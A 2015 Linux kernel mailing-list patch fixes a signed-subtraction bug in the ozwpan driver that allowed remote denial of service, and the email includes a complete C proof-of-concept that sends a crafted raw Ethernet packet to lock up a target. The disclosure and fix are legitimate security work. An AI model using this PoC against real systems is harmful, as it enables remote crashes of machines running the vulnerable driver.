From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1755998AbbE2LHs (ORCPT ); Fri, 29 May 2015 07:07:48 -0400 Received: from frisell.zx2c4.com ([192.95.5.64]:54247 "EHLO frisell.zx2c4.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1755897AbbE2LHX (ORCPT ); Fri, 29 May 2015 07:07:23 -0400 From: "Jason A. Donenfeld" To: linux-kernel@vger.kernel.org, devel@driverdev.osuosl.org, Shigekatsu Tateno , Greg Kroah-Hartman Cc: "Jason A. Donenfeld" Subject: [PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS Date: Fri, 29 May 2015 13:07:01 +0200 Message-Id: <1432897621-4961-5-git-send-email-Jason@zx2c4.com> X-Mailer: git-send-email 2.4.2 In-Reply-To: <1432897621-4961-1-git-send-email-Jason@zx2c4.com> References: <1432642669-7289-1-git-send-email-Jason@zx2c4.com> <1432897621-4961-1-git-send-email-Jason@zx2c4.com> Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld --- drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index 7b13dc9..f660bb1 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -326,10 +326,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; - int n; - if (!body->unit_size) + unsigned int n; + if (!body->unit_size || + len < sizeof(struct oz_multiple_fixed) - 1) break; - n = (len - sizeof(struct oz_multiple_fixed)+1) + n = (len - (sizeof(struct oz_multiple_fixed) - 1)) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, -- 2.4.2